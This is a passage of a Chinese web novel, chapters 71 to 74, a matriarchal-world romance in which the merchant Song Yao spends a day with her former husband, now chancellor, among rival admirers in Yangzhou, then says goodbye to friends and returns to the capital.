如果不是今天,她都没意识到,丞相大人也是一介弱男子,十七八岁的年纪步入官场,步步为营,如履薄冰,曾饱受非议,历经官场沉浮,没有母亲做主,没有父亲撑腰,甚至对曾经的妻主,爱而不得。 宋瑶,全程不为所动。 当真是狠心。 70-80 第71章 宋瑶一直都知道,忽然刻意接近的郑大人,偶尔走在街上不知何处投来的若有若无的视线,还有近些时日忽然散播开来的传言,以及非要她参加今日的筵席。 近些年来也听说不少丞相大人手段了得,昔日的少年如今已经成了权臣,只是在感情方面,依旧没有什么长进。 对宋瑶而言,他就像是她过去精心浇灌的玫瑰,那朵玫瑰恰好每一片花瓣都长在她的审美点上,只是盛开以后,刺也变得坚硬,她不想再靠近。 那日筵席,桑卿彦远远坐着,却将发生的一切尽收眼底,包括筵席后,丞相大人拦住宋瑶的场景。 原来人人敬仰的丞相大人也有求而不得的时候。 桑卿彦想起几年前,宋瑶第一次来扬州,为了哄夫郎开心,在晴朗的夜晚,大运河附近绽放的盛大的烟花。 如今却物是人非。 宋瑶待谁都很温和,彬彬有礼,却始终保持一定距离,这些年,他不止一次流露出意向,只是她都装作不知,她那么聪明,肯定是知道的吧,只是装作不知。 桑卿彦依旧记得,她喜欢一个人的时候,看到那人,眼神都亮了,任何人都看得出来。 而她不喜欢一个人的时候,也很明显。 那个叫沈竹的少年,恐怕也和他一样,这么多年,都没得到她一个眼神。 不管是一人之下万人之上的丞相大人,还是明媚活泼的少年,他们都一样罢了,恐怕那个曾经得到的过的更伤心。 那日,筵席结束后,桑卿彦看着宋瑶离去,看到郑大人悄悄溜走,那名动天下的丞相大人依旧站在原地,他心里不由得起了阴暗的心思。 即使丞相大人又怎样,还不是和他们一样卑微。 不,这些年陪在她身边的是他。 桑卿彦从树后面走出来,朝陆润之走去。 陆润之察觉到有人过来,已经瞬间敛起了神色,抬起眼,又是那个端庄有礼的丞相大人,似乎不曾失态,他看向走来的桑卿彦,这个人从几年前开始,就与宋瑶相交甚好。 桑卿彦嘴角勾起一抹笑容,“原来丞相大人也有如此失态的一天。” 陆润之眼神冷淡,“桑老板竟然有喜欢听人墙角的癖好。” 桑卿彦挑了挑眉,“只是碰巧路过,不好打断罢了。” “桑老板,有时候不该听的该回避的还是要回避。”陆润之睨了他一眼,便收回视线,抬脚往前走,语气淡淡,不自觉携着上位者自持的高傲。 桑卿彦轻笑出声,叹息道:“丞相大人,你想让人回心转意,也太不诚恳了些。” 陆润之脚步一顿,回头看他。 桑卿彦嘴角扬起笑容,“她喜欢茶楼里 的碧螺春,满香楼的点心,喜欢春日骑马踏青,偏爱冬日的皑皑白雪,忙的时候废寝忘食,她总是自嘲附庸风雅,实际上,确实比一些文人雅客还风流。” 他的语气带着一丝熟稔,和得意。 陆润之转过身来,淡淡道:“所以呢,你跟我说这些做什么?” 桑卿彦瞧着他面无表情,真不知他是真平静,还是假装冷静,他摊了摊手,笑道:“没什么,只是想告诉丞相大人,不要再打扰她,你也看到了,她的生活挺开心的。” 说罢,桑卿彦便越过他离开,高昂着头颅,一副胜利者的姿态,却在转身的时候,眼角流露出一抹苦涩。 陆润之在他走后,眸光闪了一下,缓缓松开握紧的手,掌心留下清晰的指甲的掐印。 他再也没有比任何时候认清一个现实,五年的时间的确可以改变很多。 陪在她身边的,不是他- 接下来的时间,陆润之没再去找宋瑶,既然身份已经暴露,他便与郑大人一起,巡视了各个官署,指出了政事上的一些弊端,并给出了改进意见。 郑大人毕恭毕敬地全称陪同,不敢有丝毫怠慢,原以为丞相大人受了情伤,便无心工作,谁知人家第二天跟没事人一样,看不出丝毫异样,只是眼下的青黑愈发明显。 底下的人说天气炎热,丞相大人食欲不好,但是分明他住的房内都没有让下人放置冰块。 郑大人还发现,丞相大人在看公文的时候,时常会出神。 她就不明白了,陆大人贵为丞相,一人之下万人之上,且正得盛宠,要什么样的女君没有,且如果非宋瑶不可,大可利用权势,将人绑在身边,宋瑶不过是区区一介商贾,宋家少了她,总会有别的继承人。 郑大人生于官宦之家,虽没有大富大贵,但也算从小收到上流社会的教养,她虽看起来亲和力很足,但在她心里,还是阶级分明,在她看来,宋瑶是身份低微的商人,并不值得丞相大人费心。 丞相大人还是过于心慈手软。 于是郑大人忍不住对丞相大人谏言,她说的隐晦,“丞相大人,那宋瑶不识好歹,不如传唤她来,任由大人处置,任她也无法反抗。” 闻言,丞相大人执着公文的手一顿,随即放下公文,淡淡地抬起眼,视线落在郑大人身上,目光微沉,语气极缓,“郑大人,你这是何意?” 郑大人心中一凛,立刻扑通跪下,“大人,臣多言,请丞相大人恕罪。” 看到丞相大人在宋瑶面前的姿态,让她忘记了,眼前的男子就算在宋瑶面前如何卑微,他也是那个权倾朝野,能让圣上礼让三分的丞相大人,身为男子,能坐到如今的位置,手段自然不能小瞧,他的私事不是底下的人可以议论的。 丞相大人轻轻敲着手边的奏折,“郑大人,我问你方才的话是何意?” 他的声音听不出喜怒,然而郑大人在官场混了多年,自然知道上位者生气的时候,从不轻易表现出来,像如今语气淡淡,却带着一丝不易察觉的冰冷。 郑大人不敢回话。 丞相大人:“说。” 郑大人一哆嗦,只得硬着头皮实话实说,“回、回……丞相大人,臣的意思是,宋瑶只不过是一介商贾,身份低微,如果……如果大人放不下,可下令悄悄让她……” 她不敢说话,剩下的话却不言而喻。 她说完,不敢抬头,久久未听到丞相大人的声音,直到跪得双腿僵硬,才听到丞相大人淡淡的声音,“起来吧,郑大人,若将心思多放在政务上,百姓便不会在水坝之事上有颇多怨言。” 郑大人额头流下一滴冷汗,诚惶诚恐,“是,臣谨遵丞相大人教诲。” 她自认为做不到如丞相大人般,无论发生了什么事,都耽误不了政事,近年扬州政绩一直优异,她也的确怠于政务,果然逃不过丞相大人的慧眼。 “下去吧。” 郑大人战战兢兢地退了出去,走出门后,擦了擦额头上的冷汗,以后切记谨言慎行,时时刻刻谨记,丞相大人无论再别人面前怎么样,首先是丞相大人。 她本来下意识站在丞相大人这边,现在想想,哪个女人能受得了丞相大人的气势,哪个女人不喜欢温柔小意的夫郎。 若说丞相大人温柔小意,她想都不敢想,哪怕再隐藏,那属于上位置的气势总是会不经意地流露出来。 看来日后要夹紧尾巴做官了。 郑大人离去后,陆润之挺直的脊背弯了下来,他的目光落在聚集的公文上,眼神却没有聚焦。 他从没想过,原来,世人是这般看待她。 休沐那日。 陆润之着了女装,乔装打扮,一大早便在宋府等着,等着她出来。 像以往一样,宋瑶很早便出门了,她一出门便注意到距离家门口不远处停着的马车,以及站在马车外面的人。 虽然他做了装扮,戴了面纱,但是宋瑶还是一眼就认出他了,没办法,气质太显眼了。 宋瑶对下人说了什么,便朝陆润之走去。 陆润之静静地看着她走过来。 像见到好友一般,宋瑶笑道:“丞相大人,今日前来有什么事吗?” 陆润之一怔。 她毫不避讳,落落大方,光明正大。 是他想见她,却要偷偷摸摸,藏着掖着,原来不是她害怕被人知道与他之前的往事。 她从来都是光明正大的。 以前对他好时,从不介意别人知道。 如今拒绝他,也是。 所以,哪怕初来扬州时,如果他光明正大地表明身份,她也会见他的吧。 陆润之忽然意识到这个问题,内心划过一抹酸涩,本想找的借口,却在嘴边化为了实话,“我想了解你的生活。” 她如此磊落,他有什么好遮掩的,显得很拿不出手。 宋瑶一愣,目光划过了然,“那丞相大人要与我一起吗?” 她果真没有拒绝。 陆润之垂下目光,“方便吗?” 宋瑶声线清明,“自然,有何不方便的,只是我可能工作繁忙,恐怕没空招待丞相大人。” 他不需要她招待。 陆润之轻轻道:“没关系,你不用理会我,只当我不存在就好。” 宋瑶笑道:“那就请丞相大人自便了。” 第72章 对宋瑶来说,他想跟着便跟着,无论是了解她的生活也好,还是什么,都对她没有什么影响,既不能在一起,也并非仇敌,她一向与人为善,更何况还是小陆大人。 她的生活其实没什么好了解的,十分规律,且平常的一天。 早起去铺子里处理生意上的事情,底下人有什么拿不定主意的人,帮她们做个决定,中午请手底下的人吃个饭,当然今天小陆大人来了,她便请他吃了个饭,下午继续处理事情,她处理起来这些事情早已得心应手,基本下午就差不多完成,于是便会去茶楼喝个下午茶,看看茶楼的情况。 工作日的一天,基本上就是如此度过,无聊枯燥又得心应手。 然而在陆润之眼里,宋瑶的生活随性潇洒,游刃有余。 她虽脾性温和,但是底下的人都很服她,打心眼里佩服她,能随意与她开玩笑,同时又很尊重她,有什么拿不定主意的,都会请教她,她不光帮下属拿主意,还教下属遇到类似的事情如何处理,做到了授之以鱼,不如授之以渔,只有真正强大的人,才能这么尽心尽力教下属。 她处理公务的效率极快,几乎扫一眼,就能指出其中的问题,仿佛这些事情在她眼中就像阅读三字文一样简单。 她与他说了自便,却也在想起的时候照顾了他,提醒他注意脚下的台阶,在书房时,让下属给他沏茶,与他视线相碰时,会莞尔一笑。 陆润之知道,她待他如此温和,是出于骨子里的教养,与他无关。 中午的时候,孙姨叫她去吃饭,看这熟稔的模样,是经常与下属一起吃饭。 她合上桌案上的账本,“孙姨,今日我就不与你们一起吃了。” 孙姨看了他一眼,眼中闪过思索,似乎觉得他眼熟,没有多说什么,便下去了。 她站起来,笑着问他,“走吧,带你去吃饭。” 等到了饭馆,他才知道她不知什么时 候留了雅间,原来是早就安排好了,她做事向来面面俱到。 “这里是我常来的,点了些家常菜,不知道合不合你的口味。”她笑着道。 江南一代的饭菜口味偏甜,他是吃不惯的,然而今日的饭菜却觉得恰到好处。 这家饭馆的环境极好,窗外便是潺潺溪水,鸟语花香,令人不自觉放松下来,她随意坐着,瞧着窗外的景色,姿态闲散放松,眼中有着淡淡的无聊。 “这些年,你在京城过得如何?”她的视线在空中与他相碰,看似随意一问。 陆润之却下意识紧张起来。 她的眼神上下打量了他,带着一丝笑意,“润之,你紧张什么呢?” 陆润之沉默。 她笑了笑,移开视线,声音如山涧的清风,徐徐吹来,温和带着安抚,“如果你面对一个人紧张的话,便避开他的视线,只盯着他的下眼睑,这样既避开了对方的目光,又给人一种认真倾听的感觉。” 她似乎又像以往一样。 陆润之忽然放松下来,摩挲着杯沿,“这些年,还算顺利,你呢?” 其实他想与她说并不顺利,只是恐怕她也不想听,本就是随意一问。 宋瑶看向他,笑了笑,“虽有诸多不顺,但最终结果是好的。” 陆润之抬起眼与她对视,“这些年,在江南这里,可有什么人为难你吗?” 宋瑶眼中闪过诧异,“肯定是有的,做生意哪有不被为难的,还好最后都解决了。” 陆润之:“那朝廷官员方面呢?” 宋瑶挑了挑眉,笑着反问:“如果我说有人为难,小陆大人会帮我报仇吗?” 陆润之顿了一下,思索片刻,抿了抿唇,认真道:“可以小小地使个绊子。” 宋瑶愣了一下,随即忍俊不禁,噗嗤笑了,眼中带了亮晶晶的笑意,“小陆大人,你可不能徇私枉法啊。” 陆润之:“这算不上。” 宋瑶笑了笑。 经过这么一闹,气氛倒是轻松不少,少了些疏离感。 宋瑶问道:“你什么时候回京?” 陆润之:“过几日便回了,在江南逗留许久,圣上已多次催促。” 宋瑶点了点头,在陆润之举杯喝茶的时候,注意到他瘦削白皙的手腕上带着的手镯,似乎有些眼熟,便不由得多看了几眼。 陆润之注意到她的视线,眸光闪了闪,看似不经意地将胳膊放在了桌子下面。 午饭的时间很短,宋瑶还要回去处理事情,吃完便回去了。 “我下午还要去店铺,你要与我一起,还是回去休息一下?”宋瑶问道。 陆润之道:“如果打扰到你,我便不去了。” 宋瑶笑,“说什么打扰不打扰的,我只是怕你觉得无聊。” 陆润之摇摇头。 宋瑶:“那便走吧。” 下午,宋瑶便在账房看账本,她工作起来,便注意不到身边的人,怕他觉得无聊,便让人上了茶,拿了棋盘和棋子过来,她记得他喜欢自己跟自己下棋。 陆润之一愣。 宋瑶自然道:“我大概需要一个多时辰,处理完事情,带你去茶楼。” 孙琴命人送棋盘进来,还未退出去,便瞧见这一幕,心头微微诧异。 眼前这位男扮女装的男子,一看就是非富即贵之刃,给人的感觉有些眼熟,有些像几年前见到的前少主君,但是前少主君的气势更要温和一些,却有有些不像。 少家主好似下意识会顾及他一般,这种感觉不像是招待客人,也不似对待好友,少家主对待生意伙伴,对待沈竹,都不会如此。 孙琴说不上来,只觉得两人之间熟稔又陌生。 棋盘是少家主买的,兴致上来的时候,会找人与她下棋,只是她们都是生意人,哪里懂得这些琴棋风月,稍懂一些的,很快在少家主手下败下阵来,后来,少家主无聊时,便回自己一个下棋。 说实在的,孙琴常常觉得,这么几年,隐隐在少家主身上看到一种高处不胜寒的孤寂感,怎么说呢,在外人看来,少家主做什么都得心应手,顺顺利利的,日子也过得潇洒自在,时不时点拨他人,但是在孙琴看来,少家主好似一直游离在世界之外,对她来说,这样的日子会不会觉得无聊呢。 与桑老板,聊聊工作上的事情。 与沈竹,聊聊琴音,应对他的撒娇。 布行的事情,之与她,很快就处理完了。 孙琴知道,少家主不喜欢读书,这两年也开始拿起那些繁琐的四书五经读起来,读完还与手底下的人吐槽,然而手底下的人并不懂,后来她便没再与人吐槽;少家主不怎么喜欢下棋,这两年却经常与自己对弈。 少家主也不似其他纨绔子弟那般,沉溺于烟花之地,她只去过一次,不多时便出来了,再也没去过,她对房中三位小侍极好,对沈竹也很好,只是这种好就像神之怜悯世人,抬抬手,却不走心。 孙琴觉得,少家主应是时常觉得日子无聊的,否则也不会想回京城了。 书房内。 宋瑶在看账本。 陆润之在与自己对弈,这些年,他倒是很少与自己对弈了,皇帝喜欢下棋,时常召他切磋棋艺,加上政务繁忙,便很少自己下棋了。 此时难得静下心来,与自己下盘棋,好像回到了以前。 白子黑子光滑透着光泽,像是经常被执在手中摩挲,散发着光泽。 一时间,书房内只剩下翻书的沙沙声和棋子与棋盘碰撞的清脆声,窗外偶尔有鸟叫蝉鸣。 陆润之执着黑子,逐渐静下心来,就像是在名利场摸爬滚打多年,忽然获得了片刻的宁静,此刻已经是极为难得。 宋瑶放下账本,就看到他伏在桌案,神色专注认真,不由得勾了下唇角,走过去。 头顶忽然落下一片阴影,陆润之抬起头,看到她盯着自己的棋盘沉思,顿了一下,拾起白子递给她。 宋瑶接过白子,在他对面坐下,盯着欺骗,思索片刻,挑了一处,落子。 本就是他布的棋局,陆润之再熟悉不过,与她对弈起来。 宋瑶的棋艺比起几年前大有长进。 不出半个时辰,已分出胜负。 陆润之放下黑子,弯起了嘴角,“你赢了。” 宋瑶挑了挑眉,眼中带着笑意,把玩着手里的白子,似是心情很好,“是陆大人故意相让。” 陆润之坦然道:“是你这几年进步很快,很有天赋,我怠于棋艺,已是生疏。”只是她之前的棋是他教的,再熟悉不过,如今却与以往大不相同,“是谁教你的?” 宋瑶:“城中一家老中医馆,那大夫是个棋痴。” 说着她放下棋子,看了眼外面的日头,“走吧,带你去茶楼。” 陆润之:“你忙完了?” 宋瑶伸了个懒腰,“只是一些琐碎的事罢了,早就忙完了。” 茶楼距离店铺不远,步行过去便可,初夏的日头还是有些大,不知从什么时候起,大家外出时,怕被晒黑,都撑起了伞。 宋瑶看了一眼陆润之,觉得他皮肤白皙,若是被晒黑就不好看了,便问道:“要撑伞吗?” 陆润之:“不用。”顿了下,想起她有些讲究,便问:“你要撑伞吗?” 宋瑶顿了一下,“不撑。” 陆润之眼中滑过笑意,“撑着吧,有些刺眼。” 宋瑶觉得自己被看穿了。 可恶。 于是下人便递了两把伞过来,两人一人一把。 茶楼里,下午正是人多的时候,说书先生下午开始说书,一场过后,便是沈竹或者他的徒弟抚琴,每日都有固定的曲目。 说书先生的那些故事,宋瑶都已经烂熟于心,叫她重新创作一些有趣的故事,也没有很有趣,沈竹的琴虽好,却是没有什么新意,胜在少年心性,欢快活泼。 今日沈竹等了很久,往日这个时间,宋姐姐已经来喝茶了,今日却迟迟未来,不知道是不是发生了什么事。 正当沈竹等得心急的时候,他的小徒弟来报,宋老板来了。 沈竹忙理了理头发,飞奔下楼,却看到宋瑶身边带了个人,虽那人做 了乔装打扮,但沈竹还是一眼就认了出来,正式那日筵席间所见的丞相大人。 沈竹有些发怵,不敢下去。 宋瑶看到了他,笑着朝他招了招手。 陆润之的视线也落在了他身上。 沈竹面色一僵,心里有些害怕陆润之,实际上是害怕他身上与神俱来的权势,但是宋瑶已经朝他招手了,再躲就不像话了。 沈竹只得硬着头皮走过去。 于是就形成了这样的场景,沈竹和陆润之分别坐在宋瑶两边。 沈竹低垂着眼,局促,紧张不安。 宋瑶给他倒了杯茶,看出来他有些紧张,好似不该叫他来,于是想着把他支走,“待会儿是你抚琴还是你徒弟。” 本是沈竹想弹琴给宋瑶听的,今日他新作了一曲,但是今日陆润之在这,他忽然不想去了,总觉得他在上面卖艺,平白低人了一等,于是道:“是……我徒弟。” 宋瑶:“既如此,你去看着他点,免得他紧张。” “没事,他现在已经不紧张了。”沈竹放在桌下的手不断绞着袖子,忽然他抬起眼,看向陆润之,一冲动便道:“听闻丞相大人棋艺一绝,上次听到久久不能忘怀,宋姐姐也十分喜欢,不知今日还有幸听到?” 说罢,当场沉默。 上次在朝廷宴会上这么挑衅的,已经被贬到岭南去了。 在外人看来,他这话的意思相当于什么,就是让堂堂当朝一品大员丞相大人抚琴给一介商人听,若是郑大人在场的话,恐怕又要当场跪下了。 且不说陆润之的身份是当朝一品,这话对任何男子来说,都带了些不尊敬的意味。 沈竹说完,才恍然察觉自己冲动之下说了什么大逆不道的话,他垂着眼睛,双手紧握,咬着下嘴唇,颤抖的身体却出卖了他,但是他就这要这么说,想让丞相大人做与他一样的事情,似乎这样就可以拉近两人之间的差距。 陆润之的视线落在他身上。 宋瑶眼神眨了下,对陆润之道:“沈竹孩子气的话,你别当真。” 陆润之摇摇头,看着她的眼睛问道:“你想听吗?” 宋瑶愣住了。 陆润之眼神中带了笑意,“你若想听,我便弹给你听。” 他似乎不觉得这是挑衅和侮辱。 宋瑶只愣神的功夫,他便已经起身,走到了屏风后面,不多时,潺潺的琴音便从屏风后面倾泻而出,轻拢慢捻,泠泠清响如珠玉坠盘,仿佛天地间唯有泠泠清响如珠玉坠盘,春意在弦上悄然蜿蜒。 比起那日孤寒的意蕴,今日倒多了几分人间烟火气。 比起他的棋艺略有退步,宋瑶倒觉得他的琴艺进步不少,不得不承认,听他弹琴,是种享受。 宋瑶放在桌子上的手指,轻轻打着节拍。 沈竹愣愣的。 宋瑶瞧了一眼他的神色,语气微微斥责,“你今日怎么如此冲动,你明知他的身份,却说出这种话,即使他不是丞相大人,你也不该如此。” 沈竹咬了咬唇,“对不起,宋姐姐。” 宋瑶叹了口气,“你该谨慎些。” 沈竹:“是。” 一曲终了,底下掌声如沸,有人认出了这琴音与那日的琴师相同,便想上前结交,陆润之应付了两句,便回来了。 宋瑶夸赞道:“你的琴进步很大。”顿了下,“弹的曲子,我从未听过。” 陆润之道:“闲暇之余,无聊瞎谱的。” 沈竹眼中黯了黯,他闲暇之余谱的曲子,比他磨了两三个月的曲子好了不知多少,这世道真是不公平,什么好的都给了他。 陆润之的视线落在沈竹身上,“沈竹,你今年多大了?” 宋瑶一顿,睨了一眼他的神色,没有出声。 这是秋后算账吗?沈竹看向宋瑶求助,但是宋瑶避开了他的视线,于是他只得硬着头皮回答,“年十九。” “十九岁了。”陆润之重复了他的话,情绪不明。 沈竹本以为他要借着身份斥责自己了,内心惶惶不安。 陆润之笑了笑,又问:“那你弹琴多久了?” 沈竹:“从小就弹,有十年了。” 陆润之喝了口茶,放下茶杯,缓缓道:“能坚持一件事十年,相比你也十分热爱琴,若连你自己都把琴师定义为低人一等,如何把自己放与其他人平等的地位呢?” 沈竹愣愣地看着他。 宋瑶侧目看他。 陆润之接着道:“我并不觉得琴师低人一等,是你方才的语气让我如此觉得。我听过你的琴,充满了热爱,若说讨教,倒算不上,只是我比你年长几岁,经历的多些罢了,假以时日,你在琴上的造诣必定超过我。” 他此时倒敛了一身气势,看着沈竹的眼神十分温和,像一位耐心的哥哥,还回答了他那日的问题,与那日高高在上自持高傲的丞相大人判若两人。 陆润之提了茶壶,跟宋瑶和沈竹分别添了茶,莫名输了句,“之前是我不是。”对上宋瑶的视线,问道:“怎么了?” 宋瑶笑着调侃,“丞相大人好气量。” 陆润之也笑,“既微服私访,我便不是什么丞相大人,莫要唤我丞相大人了。” 之前是他想岔了。 她堂堂正正,光明磊落,他又何须遮遮掩掩。 沈竹羞愧极了,同时心里对陆润之的嫉妒也散去不少,人就是这样奇怪,当那人对你高高在上时,令人心生嫉妒,若那人放下身段,与你语重心长的说话,并且肯定你,又令人羞愧。 原来不是嫉妒,是想获得肯定。 沈竹不知道陆润之为何忽然态度大变,但是他忽然你觉得丞相大人本该如此,温和包容,又十分厉害,于是他的胆子又大了些,拿着自己的曲谱,坐到了他身边,向他请教。 沈竹性子本就活泼,也不记仇,想一出是一出。 陆润之很少与人这么亲近,有些不适应,但架不住沈竹自来熟,针对曲谱,夸赞了几句,指点了一二。 “你那把琴拿来,我给你调下琴弦。”他道。 沈竹十分开心,抱了琴,拿了工具过来,“多谢丞相大人。” 陆润之接过琴,抬眼看他,“不要叫我丞相大人了。” “那我叫你什么?”沈竹眨了眨眼,“陆哥哥?” 陆润之顿了下,“可。” 沈竹从善如流,“好嘞,陆哥哥。” 陆润之给他调了调琴弦,试了试音,又教他如何判断,以及如何调试。 宋瑶在一旁看着,唇角含笑。 到了吃晚饭的时候,宋瑶将陆润之和沈竹邀请到家里,命人做了一桌子的菜,款待了他。 沈竹对京城十分好奇,尤其是对陆润之在朝堂上的事情十分好奇,期间缠着他问了许多事情,诸如, “皇上是什么样的,会很凶吗?” “有人为难过你吗?” “那些大官私下都会做什么啊,也会怕夫郎吗?” …… 陆润之挑着无关紧要的事情说了几件。 沈竹从小在江南长大,十分向往京城。 陆润之道:“若你到了京城,想去哪里,我带你去。” 若宋瑶回去的话,会带着他的吧。 沈竹十分开心。 几人吃到很晚,期间,宋瑶也问了问这几年的情况,眉眼温柔,似乎回到了以前。 但是陆润之十分清楚,她在拒绝别人的前,一向如此。 果不其然,吃过晚饭,她送他出府,对他笑着说道:“丞相大人,我便送你到此了。” 陆润之觉得她意有所指。 宋瑶接着道:“你今日与我待了一天,已是不妥,若是传出去有私交,对你我总是不好,还望丞相大人日后多多保重。” 她说这样的话,陆润之一点都不意外, 甚至很平静,他笑了笑,“是我打扰了。” 宋瑶笑,“算不上打扰。” 陆润之问:“我听孙姨提起,你何时回京城?” 宋瑶:“归期未定。” 陆润之的目光落在她身上,像是重新认识了自己和眼前的人,心境忽然开阔了起来,只笑着道了一声,“我知道了。” 第73章 宋瑶也不知道陆润之知道了什么。 第二日,他便差人送了一把上好的古琴给沈竹,沈竹十分开心地收下了。 陆润之没再找过宋瑶,只是走的那天差人送了信给她。 宋瑶礼貌地回信给他:一路顺风。 郑大人也没再来找过她,宋瑶也不甚在意,与陆润之不同,郑大人看似和善慈祥,实际上骨子里才透漏着官僚高高在上的高傲。 宋琼和李容又着人来催促宋瑶回京,一家人从小在京城扎根,认为京城才是家。 宋瑶开始着手交接工作,同时告别友人。 从她来扬州时起,桑卿彦就知道这么一天终会到来,闻言叹息一声,并未多说什么,只是心里有些怅惘。 宋瑶请他吃了饭。 多年好友,两人已是十分熟稔,且隐隐有种会再相见的感觉,并未有多少依依不舍。 桑卿彦是个豁达的性子,天下没有不散的筵席,看得很开,有缘无分,有这么一个朋友也值了。 宋瑶倒了杯酒,“感谢桑老板多年照拂。” 桑卿彦笑了下,举起酒杯,“宋老板抬举是我,是我们永昌布行受宋老板多年照拂。” 宋瑶:“合作愉快。” 桑卿彦笑骂了她一句,“再多说一客气话,这顿饭不吃了。” 宋瑶也笑,“得嘞。” 桑卿彦狐疑地盯着她,直言不讳,“陆润之前脚刚回,你后脚就回,莫不是为了他?” 宋瑶反问他,“你这么觉得?” 桑卿彦看了她一眼,断言道:“我觉得不是,你并非如此性子。” 她决定了的事情,很少改变。 宋瑶喝了口茶,“知我者,卿彦也。” 桑卿彦笑了下,“我可担不起。” 宋瑶知道他近些日子遇到些麻烦,“你家里如何,是否需要我帮忙。” 桑卿彦挑了挑眉,放下筷子,往椅子上一靠,“可以啊,只要宋老板肯入赘我桑家。” 族里的人一直逼着他嫁人,说男人到了年纪就该成亲生子,他这么大年纪了,再不成亲生孩子,就生不出来了,总是在外面抛头露面,给桑家丢人,外面议论纷纷。 宋瑶被呛了一下,“这个忙我可帮不了。” “那你说什么废话。”桑卿彦冷哼一声,想起家里乱糟糟的一片,就有些心烦,“那些族亲,恨不得我今天成亲,明天生孩子,后天就把家里生意交出去。” 宋瑶:“两年前不是已经让老家伙闭了嘴,怎么又开始了?” 桑卿彦眯了眯眼,“我表姐丧亲,被我祖父接到了家里,有人开始起了小心思。” 宋瑶的眼珠子转了一下,手指在桌上点了点,朝桑卿彦勾了勾手。 桑卿彦看她,“干嘛?” 宋瑶勾起唇角,“你附身过来,我教你个法子,保管有用。” 桑卿彦起身,附耳过去。 宋瑶低声说了什么。 桑卿彦眼前一亮,“真损啊你。” 宋瑶:“不谢。” 桑卿彦叹了口气,“你还别说,你还挺有用的,这么一想,还真有些舍不得你。” 宋瑶无语。 桑卿彦嘴硬心软,嘴上嫌弃,最后还是送了她价值千金的金财神爷,上次他送她的还在京城放着呢。 他道:“你可别再回来了,这下我的小金库真的穷了,要喝西北风了。” 宋瑶觉得来扬州最大的收获便是结识了桑卿彦,为了不让桑老板喝西北风,作为回礼,宋瑶送了一尊金塑的月老像给他,觉得他十分需要,气得桑卿彦直接闯到宋府,把送给她的金财神爷收了回去。 宋瑶腰缠万贯,也不在乎这金财神爷,只觉得忍俊不禁。 桑老板这泼辣的性子可不是一般人镇得住的。 告别桑卿彦,宋瑶生意上的事情也处理的七七八八,便开始着手收拾行李。 对于房中侍奉了几年的三位小侍,宋瑶尊重他们的意愿,问了他们愿不愿意随她回京城,若愿意跟她回去,她带着他们一道回去,若不愿意回去,可永久住在这府邸,不会亏待了他们。 云岫、枕石、兰舟三个少年从小在扬州长大,后来被卖到了宋府,侍奉少家主,跟了少家主这么些年,唯一可以仰仗的便只有少家主,若少家主离开扬州,他们还可以仰仗谁呢? 于是三位少年决定跟随少家族回扬州。 沈竹得知了宋瑶要走的消息,却没有告诉他,在房间里哭得上气不接下气。 宋瑶知道他对自己的心思,只是她一直拿他当弟弟照顾,就算要走,也要告个别。 她去找沈竹的时候,他闭门不见,仿佛只要不见她,她就不会走。 宋瑶在门外叹了口气,“你若不想见我,我走了。” 房间内静了几秒,忽然,房门打开,沈竹出现在门口,眼睛红得跟兔子一样。 沈竹让开身子,让她进来。 宋瑶递了帕子,给他擦了擦脸上的泪痕,温和道:“我三日后便动身回京城,这么些年,也该回去了。” 沈竹不说话。 宋瑶接着道:“你且安心待在扬州,我嘱托了孙姨,有什么事你就去府中找她,若日后有中意的女子,这酒楼便是我赠予你的嫁妆。” 沈竹眼圈又红了,别过身,赌气道:“我不要!” 宋瑶温和道:“你不要赌气。” 说着,沈竹的眼泪又掉了下来,他从凳子上下来,跪在宋瑶脚边,伏在她膝盖上,眼泪直往下流,“宋姐姐……你就让我随你一道回扬州吧,我不要名分,只要能待在你身边就好,求求你了,宋姐姐……” 宋瑶摸了摸他的头发,“你莫要孩子气了。” 沈竹摇摇头,“不要……我就要跟着宋姐姐……” 宋瑶不语,陪他待了一会儿,从她将卖身契归还他的那一刻起,就做了今日的打算。 任由沈竹怎么哭闹,宋瑶愣是没有松口,只等他哭昏睡了过去,才离开。 三日后,宋瑶告别了扬州一行人,动身回京城- 京城。 青连发现自家大人去了一趟扬州回来,便开始在意起了容貌。 从前未嫁人时,哪怕外面对他的容貌有诸多赞美,公子从未觉得以自己的容颜为荣,并从未在意过,嫁人后亦是如此,后来进入官场,甚至为了遮盖过分惹人注目的容貌,特地化得普通了些。 怎么去了一趟江南,开始做起了保养,甚至还特地购买了些颜色鲜亮的衣服。 这日,大人不知收到了一封什么信,对着镜子良久。 他抬手,轻轻抚摸上自己的脸颊,终归是与以前不同了,以前他的脸颊上稍稍有些肉,看起来十分有少年的感觉,最大的差别是那双眼睛,连他自己都觉得差别很大,如今的眼睛不似以往清澈,藏满了算计和权势。 他勾起嘴角笑了笑,因不常笑的缘故,嘴角在笑,眼里却没有笑意,看起来很别扭,根本不似沈竹笑得那般甜。 从扬州回来,他便意识到作为男人,如今根本没什么优势。 陆润之眼神黯了黯,“青连,我是不是老了。” 青连觉得褪去青涩的公子,比以前好看,只是气势太过凌人。 “大人,您容颜依旧。” 就连青连的性子都以前沉稳许多。 陆润之抿了抿唇。 如今他已二十有几,自然比不上十六七八的少年。 在世人眼中,他这样年岁的男子,已经生了几个孩子了。 而且,他还不会温柔小意,不会撒娇。 若宋瑶带了沈竹和房中那三位小侍回来,他拿什么跟他们比,没有他们年轻,没有他们会撒娇,甚至容颜即将逝去。 “青连,你去请一个有经验的公公来,低调些。”他吩咐道。 青连愣住了。 什么有经验的公公? 陆润之淡淡地看过去。 青连立刻低头,不敢再多说一句,“是,大人。” 第74章 大约花了大半个月的时间,宋瑶终于返回了京城。 时隔五年,京城变化很大,比印象中人多了些,街上更加热闹,看得出来治安良好,百姓安居乐业,是另外一种不同于扬州城的繁华热闹。 按理说宋瑶在这个世界,在扬州待得比较久,却觉得京城让她更有归属感。 马车行到宋府,宋琼和李容得知女儿今日回来,便早早地在门口等候,千盼万盼,终于是把人盼回来了,他们二人只宋瑶这么一个孩子,当初让宋瑶只身一人去江南闯荡也未曾想到她会五年未归,也未曾想到她会在江南混得如鱼得水。 宋瑶是个不恋家的性子,总觉得回京麻烦,一来一回将近两个月的时间,在路上折腾,于是五年来便从未回过京城。 从马车上下来时,李容看到她,眼泪瞬间就掉下来了,宋琼揽着自家夫郎,安慰着他。 /:。 宋瑶看到了自家爹娘,娘亲比之前胖了些,爹爹倒没什么变化,两人看着和几年前无差,想必这几年日子过得滋润。 “娘亲,爹爹,我回来了。”宋瑶上前分别抱了一下宋琼和李容,见到阔别多年的双亲,心情也很好。 